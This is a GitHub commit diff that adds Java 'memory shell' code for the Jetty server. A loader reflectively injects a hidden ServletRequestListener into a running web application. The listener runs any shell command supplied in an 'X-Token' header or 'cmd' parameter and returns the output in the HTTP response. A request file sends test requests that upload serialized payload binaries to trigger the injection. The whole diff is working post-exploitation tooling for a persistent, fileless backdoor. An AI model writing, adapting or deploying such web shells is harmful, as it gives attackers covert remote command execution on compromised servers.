Skip to content

Commit c330afb

Browse files
committed
add jetty listener exec & godzilla ms :)
1 parent 593c612 commit c330afb

File tree

6 files changed

+479
-7
lines changed

6 files changed

+479
-7
lines changed

JavaClass.http

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ cmd=whoami
1313
# Exec Listener
1414
POST /base64 HTTP/1.1
1515
Host: 127.0.0.1:8080
16-
Xoken: hostname
16+
X-Token: hostname
1717
Content-Type: application/x-www-form-urlencoded
1818

1919

@@ -31,8 +31,8 @@ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0g
3131
Content-Disposition: form-data; name="file"; filename="cc4.bin"
3232
Content-Type: application/octet-stream
3333

34-
#< ./dev/test.bin
35-
< ./dev/TomcatExecutorThreadLoader.bin
34+
< ./dev/test.bin
35+
#< ./dev/TomcatExecutorThreadLoader.bin
3636
#< ./dev/TomcatListenerThreadMS.bin
3737
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3838

Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
package org.example.jetty.memshell;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.lang.reflect.Field;
7+
import java.lang.reflect.InvocationHandler;
8+
import java.lang.reflect.Method;
9+
import java.lang.reflect.Proxy;
10+
import java.util.zip.GZIPInputStream;
11+
12+
/**
13+
* @author Whoopsunix
14+
* <p>
15+
*/
16+
public class JettyListenerThreadLoader {
17+
private static String gzipObject;
18+
private static String CLASSNAME = "org.example.jetty.memshell.ListenerExec";
19+
20+
public JettyListenerThreadLoader() {
21+
}
22+
23+
static {
24+
try {
25+
// 获取 servletContext
26+
Object servletContext = getServletContext();
27+
28+
inject(servletContext);
29+
30+
} catch (Throwable e) {
31+
32+
}
33+
}
34+
35+
36+
// public static void inject(Object standardContext) throws Exception {
37+
// }
38+
39+
/**
40+
* Jetty Listener
41+
*/
42+
public static void inject(Object servletContext) throws Exception {
43+
Object[] _eventListeners = (Object[]) getFieldValue(servletContext, "_eventListeners");
44+
if (_eventListeners != null) {
45+
for (int i = 0; i < _eventListeners.length; i++) {
46+
if (_eventListeners[i].getClass().getName().contains(CLASSNAME)) {
47+
return;
48+
}
49+
}
50+
}
51+
52+
53+
// 动态代理兼容 javax jakarta
54+
Class listenerClass = null;
55+
try {
56+
listenerClass = Class.forName("jakarta.servlet.ServletRequestListener");
57+
} catch (Exception e) {
58+
try {
59+
listenerClass = Class.forName("javax.servlet.ServletRequestListener");
60+
} catch (ClassNotFoundException ex) {
61+
62+
}
63+
}
64+
65+
// byte[] bytes = decompress(gzipObject);
66+
// ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
67+
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
68+
// defineClass.setAccessible(true);
69+
// Class clazz;
70+
// try {
71+
// clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
72+
// } catch (Exception e) {
73+
// clazz = classLoader.loadClass(CLASSNAME);
74+
// }
75+
76+
Class clazz = Class.forName(CLASSNAME);
77+
Object javaObject = clazz.newInstance();
78+
Object object = Proxy.newProxyInstance(listenerClass.getClassLoader(), new Class[]{listenerClass}, (InvocationHandler) javaObject);
79+
80+
81+
invokeMethod(servletContext.getClass().getSuperclass(), servletContext, "addEventListener", new Class[]{Class.forName("java.util.EventListener")}, new Object[]{object});
82+
83+
84+
}
85+
86+
public static Object getServletContext() throws Exception {
87+
try {
88+
Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals");
89+
Object[] table = (Object[]) getFieldValue(threadLocals, "table");
90+
for (int i = 0; i < table.length; i++) {
91+
Object entry = table[i];
92+
if (entry == null)
93+
continue;
94+
Object value = getFieldValue(entry, "value");
95+
if (value == null)
96+
continue;
97+
98+
// ServletContextHandler.getCurrentContext()
99+
Object context = invokeMethod(Class.forName("org.eclipse.jetty.server.handler.ContextHandler"), value, "getCurrentContext", new Class[]{}, new Object[]{});
100+
Object servletContext = getFieldValue(context, "this$0");
101+
102+
return servletContext;
103+
104+
// todo 测试版本覆盖 以下为 rceecho 相关类
105+
// Jetty 7 低版本 org.eclipse.jetty.server.nio.SelectChannelConnector
106+
// Jetty 7 8 org.eclipse.jetty.server.AsyncHttpConnection
107+
// Jetty 9、10 org.eclipse.jetty.server.HttpConnection
108+
}
109+
} catch (Exception e) {
110+
111+
}
112+
113+
114+
return null;
115+
}
116+
117+
public static Object getObject() throws Exception {
118+
// 动态代理兼容 javax jakarta
119+
Class listenerClass = null;
120+
try {
121+
listenerClass = Class.forName("jakarta.servlet.ServletRequestListener");
122+
} catch (Exception e) {
123+
try {
124+
listenerClass = Class.forName("javax.servlet.ServletRequestListener");
125+
} catch (ClassNotFoundException ex) {
126+
127+
}
128+
}
129+
130+
// byte[] bytes = decompress(gzipObject);
131+
// ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
132+
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
133+
// defineClass.setAccessible(true);
134+
// Class clazz;
135+
// try {
136+
// clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
137+
// } catch (Exception e) {
138+
// clazz = classLoader.loadClass(CLASSNAME);
139+
// }
140+
141+
Class clazz = Class.forName(CLASSNAME);
142+
Object javaObject = clazz.newInstance();
143+
Object object = Proxy.newProxyInstance(listenerClass.getClassLoader(), new Class[]{listenerClass}, (InvocationHandler) javaObject);
144+
145+
return object;
146+
}
147+
148+
149+
// tools
150+
public static byte[] decompress(String gzipObject) throws IOException {
151+
final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject);
152+
ByteArrayInputStream bais = new ByteArrayInputStream(compressedData);
153+
try {
154+
GZIPInputStream gzipInputStream = new GZIPInputStream(bais);
155+
ByteArrayOutputStream baos = new ByteArrayOutputStream();
156+
byte[] buffer = new byte[1024];
157+
int len;
158+
while ((len = gzipInputStream.read(buffer)) > 0) {
159+
baos.write(buffer, 0, len);
160+
}
161+
return baos.toByteArray();
162+
} catch (Exception e) {
163+
164+
}
165+
return null;
166+
}
167+
168+
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
169+
final Field field = getField(obj.getClass(), fieldName);
170+
return field.get(obj);
171+
}
172+
173+
public static Field getField(final Class<?> clazz, final String fieldName) {
174+
Field field = null;
175+
try {
176+
field = clazz.getDeclaredField(fieldName);
177+
field.setAccessible(true);
178+
} catch (NoSuchFieldException ex) {
179+
if (clazz.getSuperclass() != null)
180+
field = getField(clazz.getSuperclass(), fieldName);
181+
}
182+
return field;
183+
}
184+
185+
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
186+
final Field field = getField(obj.getClass(), fieldName);
187+
field.set(obj, value);
188+
}
189+
190+
public static Object invokeMethod(Class cls, Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception {
191+
Method method = cls.getDeclaredMethod(methodName, argsClass);
192+
method.setAccessible(true);
193+
Object object = method.invoke(obj, args);
194+
return object;
195+
}
196+
197+
198+
}
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
package org.example.jetty.memshell;
2+
3+
import java.io.InputStream;
4+
import java.lang.reflect.Field;
5+
import java.lang.reflect.InvocationHandler;
6+
import java.lang.reflect.Method;
7+
8+
/**
9+
* @author Whoopsunix
10+
*
11+
*/
12+
public class ListenerExec implements InvocationHandler {
13+
private static String HEADER = "X-Token";
14+
private static String PARAM = "cmd";
15+
16+
public Object invoke(Object proxy, Method method, Object[] args) {
17+
if (method.getName().equals("requestInitialized")) {
18+
run(args[0]);
19+
}
20+
return null;
21+
}
22+
23+
// public Object getResponse(Object httpServletRequest) throws Exception {
24+
// return null;
25+
// }
26+
//
27+
// private void run(Object sre) {
28+
// }
29+
30+
/**
31+
* Jetty
32+
*/
33+
public Object getResponse(Object httpServletRequest) throws Exception{
34+
Object channel = getFieldValue(httpServletRequest, "_channel");
35+
return getFieldValue(channel, "_response");
36+
}
37+
private void run(Object sre) {
38+
try {
39+
Object httpServletRequest = invokeMethod(sre, "getServletRequest", new Class[]{}, new Object[]{});
40+
Object header = invokeMethod(httpServletRequest, "getHeader", new Class[]{String.class}, new Object[]{HEADER});
41+
Object param = invokeMethod(httpServletRequest, "getParameter", new Class[]{String.class}, new Object[]{PARAM});
42+
String str = null;
43+
if (header != null) {
44+
str = (String) header;
45+
} else if (param != null) {
46+
str = (String) param;
47+
}
48+
String result = exec(str);
49+
Object response = getResponse(httpServletRequest);
50+
invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)});
51+
Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{});
52+
invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result});
53+
} catch (Exception ignored) {
54+
}
55+
}
56+
public static String exec(String str) throws Exception {
57+
String[] cmd;
58+
if (System.getProperty("os.name").toLowerCase().contains("win")) {
59+
cmd = new String[]{"cmd.exe", "/c", str};
60+
} else {
61+
cmd = new String[]{"/bin/sh", "-c", str};
62+
}
63+
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
64+
return exec_result(inputStream);
65+
}
66+
67+
public static String exec_result(InputStream inputStream) throws Exception {
68+
byte[] bytes = new byte[1024];
69+
int len;
70+
StringBuilder stringBuilder = new StringBuilder();
71+
while ((len = inputStream.read(bytes)) != -1) {
72+
stringBuilder.append(new String(bytes, 0, len));
73+
}
74+
return stringBuilder.toString();
75+
}
76+
77+
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
78+
final Field field = getField(obj.getClass(), fieldName);
79+
return field.get(obj);
80+
}
81+
82+
public static Field getField(final Class<?> clazz, final String fieldName) {
83+
Field field = null;
84+
try {
85+
field = clazz.getDeclaredField(fieldName);
86+
field.setAccessible(true);
87+
} catch (NoSuchFieldException ex) {
88+
if (clazz.getSuperclass() != null)
89+
field = getField(clazz.getSuperclass(), fieldName);
90+
}
91+
return field;
92+
}
93+
94+
public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception {
95+
Method method;
96+
try {
97+
method = obj.getClass().getDeclaredMethod(methodName, argsClass);
98+
} catch (NoSuchMethodException e) {
99+
method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass);
100+
}
101+
method.setAccessible(true);
102+
return method.invoke(obj, args);
103+
}
104+
105+
// public static String getHEADER() {
106+
// return HEADER;
107+
// }
108+
//
109+
// public static String getPARAM() {
110+
// return PARAM;
111+
// }
112+
}

0 commit comments

Comments
 (0)